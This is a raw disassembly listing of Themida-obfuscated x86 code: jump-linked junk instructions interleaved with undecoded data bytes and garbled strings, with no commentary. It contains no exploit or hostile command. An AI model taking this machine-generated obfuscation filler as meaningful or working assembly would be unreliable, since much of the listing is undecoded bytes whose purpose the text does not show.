loc_54DB58: ; CODE XREF: Themida_:00549615j
pop esp
mov [esp], edi
push esp
pop edi
jmp loc_54DE2C
; ---------------------------------------------------------------------------
db 2Dh
dd 18C71E79h, 0FFE383E9h, 4C481FFh, 57000000h, 243C8B54h
dd 4C481h, 0EC830000h, 242C8904h, 468h, 0C7815D00h, 5E5E68E1h
dd 0EC83EF01h, 24148904h, 4EC81h, 34890000h, 44B4BE24h
dd 0DEF70DD8h, 3E63CE81h, 0D6F7281Ah, 81D6F746h, 61D78FF6h
dd 0EA7DE9A4h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DBBE: ; CODE XREF: Themida_:0054CFDFj
sub ebx, 466609C6h
pop eax
push esi
push ebp
push ecx
jmp loc_550FFE
; ---------------------------------------------------------------------------
db 29h, 0C8h, 59h
dd 73609B2Dh, 3DF92D78h, 0F0293DE9h, 0E93DF905h, 609B053Dh
dd 9AE97873h, 5B000079h, 0FF4D32E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DBF1: ; CODE XREF: Themida_:0054E8D2j
sub bl, 1
push edx
push esp
pop edx
add edx, 4
sub edx, 2
jmp loc_54673A
; ---------------------------------------------------------------------------
loc_54DC08: ; CODE XREF: Themida_:00542A9Aj
push ecx
push 3E334451h
mov ecx, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
shl ecx, 6
or ecx, 724237F2h
sub esp, 4
mov [esp], eax
jmp loc_555495
; ---------------------------------------------------------------------------
db '¿ÄšÊ',0
aS4 db 'é{4',0
align 2
dw 0C181h
dd 4, 4C181h, 0C870000h, 24248B24h, 2474FF55h, 48F5D04h
dd 0F665C24h, 9C2404B3h, 0FF4AA3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DC69: ; CODE XREF: Themida_:0054C4E6j
sub esp, 4
jmp loc_557A80
; ---------------------------------------------------------------------------
dd 2434875Dh, 2434FF5Ch, 81241C8Bh, 4C4h, 0F8E95700h, 87FFFFD1h
dd 0F9BA52D1h, 963B842h, 2434FFD1h, 8D95E95Ah, 0C581FFFFh
dd 59DC0C7Eh, 8518E9h, 5E8C100h, 309A0C05h, 58C1016Bh
dd 0FFB39CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DCB9: ; CODE XREF: Themida_:00547BDFj
push eax
push ebx
mov ebx, 628F5177h
xor ebx, 32B12199h
shr ebx, 6
add ebx, 714908C7h
shr ebx, 2
jmp loc_54E922
; ---------------------------------------------------------------------------
db 66h
dd 51241489h, 5D23E9h
db 0
; ---------------------------------------------------------------------------
loc_54DCE1: ; CODE XREF: Themida_:00550B26j
mov ecx, 4
jmp loc_552C35
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812414h, 4, 1A9EE9h, 4EF8300h, 0E9243C87h, 0FFFF5D81h
dd 8F04C483h, 4832404h, 0F9E90424h
db 49h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DD13: ; CODE XREF: Themida_:0054554Cj
mov bp, [esp]
push ebp
mov ebp, esp
push esi
mov esi, 4
add ebp, esi
pop esi
add ebp, 2
xchg ebp, [esp]
jmp loc_54CA41
; ---------------------------------------------------------------------------
loc_54DD2E: ; CODE XREF: Themida_:0055289Bj
push 4AB1h
mov [esp], esi
sub esp, 4
mov [esp], ebx
jmp loc_5565B4
; ---------------------------------------------------------------------------
loc_54DD44: ; CODE XREF: Themida_:00546BE2j
xor edx, [esp]
jmp loc_54D3CB
; ---------------------------------------------------------------------------
dd 1C57EF81h, 0CF0130F9h, 623EBD55h, 0C5812696h, 0A62BA19h
dd 2C8BEF01h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
dd 4CDD68h, 240C8900h, 0F67B41B9h, 0CDEF8110h, 13FAC6Bh
dd 8153E9CFh, 0E9580000h, 4352h, 6CBCB951h, 0CB016BF3h
dd 81240C8Bh, 4C4h, 0EC835600h, 240C8904h, 2209CCB9h, 0C7C98151h
dd 497B0E4Dh, 0E181D1F7h, 0A894DEDh, 0FF7515E9h, 66F9F6FFh
dd 66CCB60Fh, 664DD468h, 0E9240C89h, 0FFFFF74Eh
; ---------------------------------------------------------------------------
loc_54DDDC: ; CODE XREF: Themida_:00547AA4j
not ebp
push ebp
not dword ptr [esp]
pop ebp
add ebp, 7CBB9B71h
add edi, 6E29714Ch
jmp loc_545601
; ---------------------------------------------------------------------------
aIqyrsj6 db 'ˆïYRé¦6',0
db 0
; ---------------------------------------------------------------------------
loc_54DDFD: ; CODE XREF: Themida_:005438D4j
push 175Ch
mov [esp], ecx
mov ecx, 4A601CA2h
push ecx
push eax
mov eax, 64324308h
add dword ptr [esp+4], 0C7D7D53h
sub [esp+4], eax
sub dword ptr [esp+4], 0C7D7D53h
pop eax
pop esi
jmp loc_54BEF6
; ---------------------------------------------------------------------------
loc_54DE2C: ; CODE XREF: Themida_:0054DB5Ej
push 608Ch
mov [esp], ebx
mov ebx, 4
sub edi, 3D70766Fh
add edi, ebx
jmp loc_54E26E
; ---------------------------------------------------------------------------
dw 0C1E9h
dd 0BBFFFF48h, 4, 15BDF89h, 0BA525FF8h, 4, 875AD029h, 895C2404h
dd 4BD242Ch, 0E9000000h, 0FFFFC403h
; ---------------------------------------------------------------------------
loc_54DE70: ; CODE XREF: Themida_:0054E4F2j
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
push 30BEh
mov [esp], ecx
mov ecx, 0
sub ecx, 4CAB2B7Ah
add ecx, edx
add ecx, 4CAB2B7Ah
push 7776h
mov [esp], edi
mov edi, esp
push ebx
mov ebx, 5CF941BCh
jmp loc_54ECE6
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 0EC815854h, 4, 89243C89h, 4C781E7h, 0E9000000h, 0FFFFF637h
dd 0F56C7805h, 0D8F7481Eh, 4802E0C1h, 0B62DBB53h, 0D831A867h
dd 58C2015Bh, 7DE9C201h, 0Dh, 6F045AD0h, 0FFFB3EE9h, 59B4FFh
dd 68A0E9F4h, 0F201FFFFh, 13A1055Eh, 11054738h, 129AD46h
dd 46112DD0h, 0BF5729ADh, 473813A1h, 0FF5FF829h, 515A2434h
dd 0FF5C57E9h, 18E281FFh, 817CC42Ah, 6227C1EAh, 0BFE9CEh
dd 57580000h, 955997BFh, 0EEF3E937h, 0C781FFFFh, 4, 0FFEA8FE9h
dd 0BE565DFFh, 35C950A3h, 81EED146h, 1B57B2C6h, 8BF501E5h
dd 0C4832434h, 8F92E904h, 0B551FFFFh, 0EF58069h, 2C7FF580h
dd 4E80087h, 240C8B87h, 4C481h, 0D8280000h, 806DB652h
dd 0F028ABC6h, 8124148Bh, 4C4h, 52515200h, 8892B450h, 0E68058E6h
dd 0C0D6F6A0h, 0C6FE07E6h, 8836C680h, 24148BF5h, 4C481h
dd 84680000h, 89000022h, 0B450240Ch, 80DFB578h, 0B753B2C5h
dd 5BFD00A6h, 0ED80E528h, 24048BA6h, 4C481h, 3DE90000h
dd 100003Ch, 0B580E9FDh, 1C33FFFFh, 24248B24h, 24048966h
dd 0FF471FE9h, 5AD001FFh, 50C3315Dh, 68535854h, 4, 5E37E95Bh
dd 0EC81FFFFh, 4, 2ED9E9h, 241C8900h, 628CE9h
db 0
; ---------------------------------------------------------------------------
loc_54E015: ; CODE XREF: Themida_:00554109j
push ecx
mov ecx, 4FC91D87h
jmp loc_54F987
; ---------------------------------------------------------------------------
dd 8324048Bh, 40E904C4h, 2DFFFFD6h, 2BB50888h, 0E92434FFh
dd 9B1Eh, 0C8BC831h, 4C48324h, 0CFAE953h, 0C6830000h, 24348704h
dd 0FF9183E9h, 242C33FFh, 30FF665Ch, 0FF46AFE9h, 0C4835BFFh
dd 0E9515704h, 2784h
; ---------------------------------------------------------------------------
loc_54E068: ; CODE XREF: Themida_:00545D6Bj
rep movsd
add esp, [edx+38h]
push 3369h
jmp loc_5444AC
; ---------------------------------------------------------------------------
db 80h
dd 0EC83E0C3h, 4896602h, 66FDB024h, 0E9A0B753h, 0FFFF625Ch
dd 22A7BD55h, 0BB535EE3h, 3C315F24h, 815BDD31h, 1539F4CDh
dd 0E9D5F779h, 14E3h, 7BC1815Dh, 0E9AF13C8h, 0FFFF68E9h
dd 0C4F2815Eh, 8145FC71h, 0F030CDC2h, 5AD02996h, 74A968h
dd 240C8900h, 0C7507D68h, 0C8315962h, 0FFDEE1E9h, 4AE952FFh
dd 29000050h, 0EA815AD7h, 1AC068ABh, 0FFF262E9h, 0CAB850FFh
dd 0C16EA42Dh, 0FF2D07E8h, 48FFFFFFh, 9F2DE0D1h, 29AB8E79h
dd 77E958C5h, 89FFFFABh, 4C181E1h, 83000000h, 0C8704C1h
dd 2C875C24h, 0F665C24h, 9C2404ABh, 282EE9h, 4C68100h
dd 81000000h, 4EEh, 24348700h, 0FFB283E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E13D: ; CODE XREF: Themida_:00552106j
add esp, 4
and eax, esi
pop esi
shr eax, 0Ch
xor eax, ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5561A6
; ---------------------------------------------------------------------------
db 8Fh
dd 0AFE92404h, 81FFFF78h, 0F2689FE9h, 2AE98158h, 1541B24h
dd 809DE9F9h, 0F501FFFFh, 0AE9505Eh, 0BBFFFFB2h, 5E48713Ah
dd 0FD2E381h, 0EB8159C2h, 3151A455h, 5A5BDF01h, 0FFB439E9h
dd 1E3168FFh, 2C890000h, 57E58924h, 4BFh, 0E9FD0100h, 137Bh
; ---------------------------------------------------------------------------
loc_54E1C8: ; CODE XREF: Themida_:00550E0Ej
pop edi
jmp loc_54B396
; ---------------------------------------------------------------------------
loc_54E1CE: ; CODE XREF: Themida_:0054D999j
push 2476h
mov [esp], edi
push 1
pop edi
and eax, edi
mov edi, [esp]
sub esp, 4
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 1C0C13B4h
dec ecx
shl ecx, 5
xor ecx, 81827664h
jmp loc_54C477
; ---------------------------------------------------------------------------
db 83h
dd 248904ECh, 24048124h, 4, 1D24E9h
db 0
; ---------------------------------------------------------------------------
loc_54E215: ; CODE XREF: Themida_:00549F60j
add edi, 46AD5DE9h
jmp loc_54BE33
; ---------------------------------------------------------------------------
dd 5A2434FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54549E
; ---------------------------------------------------------------------------
loc_54E22C: ; CODE XREF: Themida_:00546D10j
pop ebx
sub esp, 4
mov [esp], ebx
jmp loc_54DA99
; ---------------------------------------------------------------------------
dd 0B551AE2Ch, 2EDC058h, 2880ED80h, 46E959E8h, 31FFFF53h
dd 0E0C15DE8h, 0FFFF2D03h, 2B05FFFFh, 50A327ABh, 0FFA0BCE9h
dd 815D54FFh, 4C5h, 7E44E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E26E: ; CODE XREF: Themida_:0054DE41j
add edi, 3D70766Fh
pop ebx
push 983h
mov [esp], edx
sub esp, 4
mov [esp], edi
push 4AD83D56h
jmp loc_553F5C
; ---------------------------------------------------------------------------
dd 172A68h, 241C8900h, 74E9E389h, 0BA000021h, 483F498Fh
dd 3116E281h, 0E2D105B6h, 8108E2C1h, 4ECh, 24348900h, 771A00BEh
dd 0A2A4E91Ch, 5266FFFFh, 0D30028B2h, 0E7E95A66h, 0BEFFFF6Bh
dd 51CBA526h, 1214C681h, 0CE0140F6h, 1214EE81h, 34FF40F6h
dd 0C4815924h, 4, 0FFD5CFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E2F1: ; CODE XREF: Themida_:00557918j
pop ecx
sub edx, ebx
pop ebx
add edx, 7D6C57EFh
add edx, eax
sub edx, 7D6C57EFh
add edx, 86166BDh
push esi
mov esi, 62771ACCh
neg esi
and esi, 4EAE43BAh
add esi, 0C98DF95h
add edx, esi
pop esi
mov [edx], ecx
mov edx, [esp]
add esp, 4
jmp loc_54270C
; ---------------------------------------------------------------------------
db 81h, 0EAh, 5Dh
dd 0E96F3958h, 0FFFF4529h, 582434FFh, 3ED2E9h, 7A35BB00h
dd 43E967D4h, 1FFFF44h, 0AEE81C6h, 0FF5FCC44h, 48B2434h
dd 4C48124h, 52000000h, 0C281E289h, 4, 6804C283h, 3300h
dd 0E9241489h, 4359h, 0E9240C8Bh, 0FFFF44ABh, 6458B850h
dd 0E0C16102h, 4E8C107h, 0FFB199E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E391: ; CODE XREF: Themida_:00555CECj
pop esi
push ebp
mov ebp, esp
push edx
mov edx, 497E5D2Eh
sub edx, 0FFFFFFFFh
xor edx, 497E5D2Bh
sub ebp, 49A634F4h
add ebp, edx
add ebp, 49A634F4h
pop edx
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
shl eax, cl
push eax
push 7861h
mov [esp], eax
mov eax, 0FFFFFFFFh
push eax
mov eax, 3C813CE6h
add [esp+8], eax
pop eax
push ebp
mov ebp, 119F2905h
sub [esp+8], ebp
pop ebp
jmp loc_54891E
; ---------------------------------------------------------------------------
db 5Ah
dd 88DC8850h, 0E9583867h, 0FFFF5C59h, 8959CD01h, 162D5DE8h
dd 0E95AAF04h, 0FFFFF69Bh, 7C5CC281h, 0C8E94B62h, 0B8000007h
dd 2, 1E45E9h
db 0
; ---------------------------------------------------------------------------
loc_54E419: ; CODE XREF: Themida_:00553A5Fj
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_5551A9
; ---------------------------------------------------------------------------
dw 0CF01h
dd 5AC0EF81h, 815953E3h, 9F7184E9h, 0C0FDE962h, 0E700FFFFh
dd 3E0458h, 0E93E2CF8h, 0FFFFE1A1h, 81E78957h, 4C7h, 4C78100h
dd 87000000h, 685C243Ch, 1F51h, 68241489h, 2AE8h, 517568h
dd 5D3C6800h, 24890000h, 50A1E924h, 8B660000h, 30682404h
dd 89000042h, 0E6892434h, 809DE9h, 80D7F600h, 0EF80E4E7h
dd 217DE940h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E4A2: ; CODE XREF: Themida_:00549A18j
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_545691
; ---------------------------------------------------------------------------
aRho db 'RhŽ$',0
align 4
dd 68241C89h, 151C23A0h, 40CB815Bh, 432E490Fh, 0F7EB8143h
dd 532C0918h, 8124148Bh, 4C4h, 0BEE95B00h, 0FF00005Eh
dd 58042474h, 0E924048Fh, 0CD4h
; ---------------------------------------------------------------------------
loc_54E4E8: ; CODE XREF: Themida_:00547302j
pop esp
add ecx, 4
xchg ecx, [esp]
jmp loc_54DE70
; ---------------------------------------------------------------------------
loc_54E4F7: ; CODE XREF: Themida_:0054B806j
pop ebp
push eax
jmp loc_545C64
; ---------------------------------------------------------------------------
dw 0C87h
aLSY db '$‹$$é',1Bh,'y',0
dd 24148B00h, 4C481h, 57500000h, 0FFE1DBE9h, 243C87FFh
dd 8924248Bh, 31E92414h, 5EFFFF89h, 5AFDC181h, 0D9016596h
dd 5AFDE981h, 1C8B6596h, 4C48324h, 8702C183h, 248B240Ch
dd 4B26E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E54A: ; CODE XREF: Themida_:00554D3Aj
mov eax, 0DEFAF717h
add esi, eax
pop eax
add edx, esi
pop esi
jmp loc_5521B6
; ---------------------------------------------------------------------------
dw 0FC35h
dd 29048A15h, 5E3FE9C7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E566: ; CODE XREF: Themida_:00550DD0j
xor edx, ebp
jmp loc_555FB7
; ---------------------------------------------------------------------------
db 56h, 2 dup(0E9h)
dd 59FFFFDAh, 524DE9h, 243C8B00h, 4C481h, 1C870000h, 24248B24h
dd 24042166h, 417AE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E592: ; CODE XREF: Themida_:00554695j
add ecx, 0DEA7FECh
and ecx, 2876638Ah
or ecx, 4E4D6A0Dh
add ecx, 163B7EEh
or ebx, ecx
jmp loc_54EA11
; ---------------------------------------------------------------------------
db 81h, 0EFh, 36h
dd 10654CFh, 0BA525FF9h, 4, 875AD129h, 248B240Ch, 24348924h
dd 0FF7AB6E9h, 0B8504BFFh, 53C963B2h, 8158C301h, 0E63A3FC3h
dd 0E9DA89C1h, 8767h, 0E9243489h, 0FFFFA6A9h, 4B850h, 6AE90000h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E5FB: ; CODE XREF: Themida_:0054CA01j
sub esp, 4
jmp loc_546C2E
; ---------------------------------------------------------------------------
loc_54E606: ; CODE XREF: Themida_:00545BDFj
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_551944
; ---------------------------------------------------------------------------
db 68h
dd 33E91026h, 85C5E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E622: ; CODE XREF: Themida_:00542728j
inc bl
or bl, 57h
shr bl, 6
and bl, 3Eh
jmp loc_54FE3F
; ---------------------------------------------------------------------------
loc_54E632: ; CODE XREF: Themida_:005554A4j
pop edi
add edx, ebp
mov ebp, [esp]
jmp loc_546803
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 0FFCD96E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E645: ; CODE XREF: Themida_:0054B5F5j
add esp, 4
or edx, eax
shl edx, 1
push ebx
push 164D7969h
jmp loc_552EDF
; ---------------------------------------------------------------------------
db 56h
dd 56EDB951h, 0C1815BA7h, 0D3561316h, 38E9CE89h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E66B: ; CODE XREF: Themida_:00547006j
shr dx, 4
push bp
mov bp, 6B7Fh
jmp loc_548737
; ---------------------------------------------------------------------------
loc_54E67A: ; CODE XREF: Themida_:0054D101j
add edi, esi
pop esi
push 76B1h
jmp loc_556468
; ---------------------------------------------------------------------------
db 29h
dd 357E9D8h, 0C4810000h, 4, 0FF5481E9h, 0DEE81FFh, 81007D33h
dd 4453C0C6h, 81EE292Bh, 4453C0EEh, 0DC6812Bh, 81007D33h
dd 0A4349EEh, 33EE8151h, 50778A5Ah, 877714B8h, 3E4F0522h
dd 0C2256006h, 25355C39h, 0BF13CECh, 2D02E0C1h, 0D51FBD6Ah
dd 0FFD072E9h, 53E957FFh, 5DFFFFBFh, 0FFF99FE9h, 0D553BEFFh
dd 85E91613h, 0FF000054h, 669D1C77h, 2414D359h, 4006E99Ch
dd 815CFFFFh, 4ECh, 243C8900h, 89585DBFh, 0BE5662h, 0E9000000h
dd 4326h, 80B9CD80h, 0E4E9B6EDh
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E72B: ; CODE XREF: Themida_:0054D54Bj
add bl, 4Eh
push small 20h
mov [esp], ax
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_55198F
; ---------------------------------------------------------------------------
loc_54E746: ; CODE XREF: Themida_:00544E91j
add esp, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], edx
push esp
jmp loc_555E72
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0BF243C89h, 228C720Eh, 4247C31h, 0E35585Fh, 5E228C72h
dd 8904EC83h, 0A8B9240Ch, 681DB829h, 7B44h, 0FFDB61E9h
dd 4C481FFh, 0E9000000h, 0FFFF3FB5h
; ---------------------------------------------------------------------------
loc_54E79C: ; CODE XREF: Themida_:00546058j
push 4FB273C7h
mov edx, [esp]
add esp, 4
not edx
push esi
push esp
pop esi
sub esp, 4
mov [esp], edi
mov edi, 4
add esi, edi
mov edi, [esp]
add esp, 4
sub esi, 4
push esi
push dword ptr [esp+4]
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5558B4
; ---------------------------------------------------------------------------
db 33h, 0Ch, 24h
dd 33240C31h, 248B240Ch, 8814E924h, 8868FFFFh, 89000061h
dd 2BA2414h, 53000000h, 36025968h, 2D5B43h, 50EBC2Ch, 1E5508B4h
dd 0B42DD801h, 561E5508h, 4441A0BEh, 804BE97Dh, 0D5E90000h
db 3Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E837: ; CODE XREF: Themida_:00553406j
pop esp
not edx
jmp loc_553862
; ---------------------------------------------------------------------------
db 1
aIlS5 db 'ë‹,$éš5',0
dd 4875A00h, 34FF5C24h, 24048B24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
push 905035Ah
jmp loc_544C47
; ---------------------------------------------------------------------------
dw 28BEh
dd 81278209h, 307CBCE6h, 81DEF726h, 0FFF7D4EEh, 5EF389D9h
dd 4245C01h, 0FFE99EE9h, 24048FFFh, 0CD27E952h, 0C581FFFFh
dd 4, 2474FF55h, 48F5D04h, 0E9DCE924h, 148BFFFFh, 4C48124h
dd 5000000h, 7A3867E9h, 0E92DC801h, 597A3867h, 8B240487h
dd 8B662424h, 9A68240Ch, 89000006h, 8B54240Ch, 54E9240Ch
db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E8CF: ; CODE XREF: Themida_:005525E7j
mov bl, al
pop eax
jmp loc_54DBF1
; ---------------------------------------------------------------------------
loc_54E8D7: ; CODE XREF: Themida_:0054AB14j
push edi
push 3ABE187Ch
pop edi
xor edi, 0C8F711Bh
mov edx, edi
pop edi
sub [esp+4], edx
pop edx
pop ebx
jmp loc_54D208
; ---------------------------------------------------------------------------
loc_54E8F2: ; CODE XREF: Themida_:00554FD0j
shr esi, 4
xor esi, 12976941h
xchg ebp, esi
jmp loc_54697F
; ---------------------------------------------------------------------------
loc_54E902: ; CODE XREF: Themida_:005517B4j
mov ebp, 601067FCh
mov ebx, ebp
pop ebp
xor eax, ebx
pop ebx
sub esp, 4
mov [esp], ebx
push ecx
push eax
push esi
mov esi, 32E3515h
not esi
jmp loc_554EE5
; ---------------------------------------------------------------------------
loc_54E922: ; CODE XREF: Themida_:0054DCD2j
add ebx, 8BAF8478h
mov eax, ebx
pop ebx
sub ebx, eax
pop eax
or edi, ebx
jmp loc_543339
; ---------------------------------------------------------------------------
db 4, 0DAh, 0
dd 0E9DA2CD8h, 0FFFFADB5h
; ---------------------------------------------------------------------------
loc_54E940: ; CODE XREF: Themida_:00546764j
push 26FDh
mov [esp], edi
push ecx
push ebx
add dword ptr [esp], 1FA4565Ah
pop ecx
sub ecx, 1FA4565Ah
mov edi, ecx
pop ecx
mov eax, edi
mov edi, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edi
mov edi, eax
jmp loc_54D49E
; ---------------------------------------------------------------------------
dd 1C8BD801h, 4C48324h, 3F69E952h, 54BEFFFFh, 13BF0A4h
dd 0C1295EF0h, 0E9CE0158h, 0AB1h
; ---------------------------------------------------------------------------
loc_54E99C: ; CODE XREF: Themida_:00555BD2j
push edx
push ebp
pop edx
push dword ptr [esp]
jmp loc_553C98
; ---------------------------------------------------------------------------
loc_54E9A7: ; CODE XREF: Themida_:0055248Aj
pop ecx
mov ecx, [esp]
jmp loc_54A404
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFF9392h, 6F0F68h, 2A96E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E9C2: ; CODE XREF: Themida_:0054B412j
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_54270C
; ---------------------------------------------------------------------------
db 0BAh, 0C2h, 87h
dd 0FA2950E2h, 0FF3D50E9h, 4EC81FFh, 89000000h, 0AAE9241Ch
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E9F3: ; CODE XREF: Themida_:005571B8j
jmp loc_54270C
; ---------------------------------------------------------------------------
dd 0C42CFEBDh, 545B2D58h, 0E829713Ch, 3C545B05h, 242C8B71h
dd 0FFFD80E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EA11: ; CODE XREF: Themida_:0054E5ACj
pop ecx
xor ebx, 32907D1Bh
xor ebx, 94CDF6F4h
xor ecx, ebx
mov ebx, [esp]
add esp, 4
sub esi, 598959EBh
add esi, ecx
add esi, 598959EBh
jmp loc_551F7D
; ---------------------------------------------------------------------------
loc_54EA39: ; CODE XREF: Themida_:0054D3E3j
add ebp, 4EE85EF7h
inc ebp
shl ebp, 2
push 0
sub [esp], ebp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub ebp, 0E178873Ch
push esi
mov esi, ebp
mov ebx, esi
pop esi
mov ebp, [esp]
add esp, 4
jmp loc_54F5B9
; ---------------------------------------------------------------------------
dw 0E95Fh
dd 0FFFFA5BCh, 0E904C483h, 42ECh
; ---------------------------------------------------------------------------
loc_54EA84: ; CODE XREF: Themida_:005531C5j
push ebp
mov ebp, esp
push ebx
jmp loc_543963
; ---------------------------------------------------------------------------
db 5Ah, 81h, 0C4h
dd 4, 8904EC83h, 0EEB1240Ch, 0C8BC800h, 7E396824h, 14890000h
dd 2CE95024h, 0F700005Ch, 3F16E9DDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EAB6: ; CODE XREF: Themida_:00548FC4j
pop ebp
jmp loc_5564FA
; ---------------------------------------------------------------------------
loc_54EABC: ; CODE XREF: Themida_:005571DCj
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_548441
; ---------------------------------------------------------------------------
db 54h
dd 6824148Bh, 34D0h, 89240C89h, 1ABF57E1h, 5636756Ch, 1702EBEh
dd 93B95104h, 490DC12Eh, 0E9595251h, 1BD7h
; ---------------------------------------------------------------------------
loc_54EAF4: ; CODE XREF: Themida_:005529F9j
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_54AD68
; ---------------------------------------------------------------------------
loc_54EB0B: ; CODE XREF: Themida_:00551520j
add esi, 6E10CFFFh
sub ebp, esi
jmp loc_546423
; ---------------------------------------------------------------------------
dd 6521C181h, 515E0441h, 42474FFh, 24048F59h, 0E924248Bh
dd 0FFFFBE31h, 9927C181h, 0C801BBFDh, 58C58959h, 2D0C581h
dd 0ED811ACAh, 2F147F54h, 75F4C681h, 84E908B8h
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EB53: ; CODE XREF: Themida_:005456E1j
pop ebx
jmp loc_55222E
; ---------------------------------------------------------------------------
loc_54EB59: ; CODE XREF: Themida_:005515EAj
dec edi
push 4A43h
mov [esp], ecx
mov ecx, 5B380676h
shl ecx, 1
dec ecx
push edx
mov edx, 7A9D1E17h
dec edx
xor edx, 76875401h
xor edx, 0C065AA9h
sub ecx, edx
pop edx
and ecx, 75684410h
xor ecx, 0C07466Ch
add edi, ecx
pop ecx
push ecx
jmp loc_551FD8
; ---------------------------------------------------------------------------
db 57h, 0E9h, 2Ah
dd 0F7000002h, 6FF42DD0h, 1A35097Eh, 29DDB96Bh, 575E58C2h
dd 0FF49BEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EBB1: ; CODE XREF: Themida_:00556D6Fj
xchg ebx, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 4
sub ebp, edx
pop edx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_542B5F
; ---------------------------------------------------------------------------
db 68h
dd 313Dh, 0BB241C89h, 216D144Ch, 5103EBC1h, 0BF7AC5B9h
dd 4CC18177h, 0C133AF06h, 0D1F708E9h, 0FFD451E9h, 48B66FFh
dd 1C0F6824h, 0C890000h, 0A9E6824h, 0A9E90000h, 81000022h
dd 8C7542F1h, 0E9E9872Ch, 25ECh, 4ED81h, 2C870000h, 34895C24h
dd 2474FF24h, 48F5E04h, 2BE95C24h, 58FFFFDAh, 0DAE7E951h
dd 0C5E9FFFFh, 89FFFF3Ah, 0E82959CDh, 4EC835Dh, 0E9240C89h
dd 1254h, 0E9028864h, 0FFFF3AACh, 63685755h, 0E9393557h
dd 0FFFFB3DAh, 241C875Ah, 780CE9h, 0E2895200h, 2DE95753h
dd 500008Ah, 4A062746h, 0FFDC63E9h, 58C601FFh, 0F9FE9h
dd 0E9EB3100h, 0FFFFA3F8h, 0A2BA525Dh, 215C414Bh, 0EC835AD6h
dd 0CFE904h, 0E7890000h, 4C781h, 0BCE90000h, 2CFFFF6Eh
dd 0A10417h, 0B55166D0h, 7742E9A1h, 0EB81FFFFh, 3CCF086Ch
dd 0C381D329h, 3CCF086Ch, 527CEB81h, 0E9534D74h, 529Fh
dd 5CFAE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54ECE6: ; CODE XREF: Themida_:0054DEA4j
or ebx, 115853E0h
jmp loc_54B2EF
; ---------------------------------------------------------------------------
db 0E9h, 16h, 3Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ECF6: ; CODE XREF: Themida_:00555FB9j
mov esi, edx
mov edi, esi
mov esi, [esp]
add esp, 4
pop edx
jmp loc_54C44D
; ---------------------------------------------------------------------------
loc_54ED06: ; CODE XREF: Themida_:00550E5Fj
push edi
push ecx
mov ecx, 4
mov edi, ecx
jmp loc_5503B8
; ---------------------------------------------------------------------------
dd 0D6939DBDh, 4EC83A4h, 0B9240C89h, 2AE10396h, 8159CE29h
dd 4ECh, 243C8900h, 0FF57D7BFh, 78C78179h, 0E952AD24h
dd 547Fh, 9D2819BBh, 94EB8173h, 137F6F4h, 0E9815BD9h, 405F01ABh
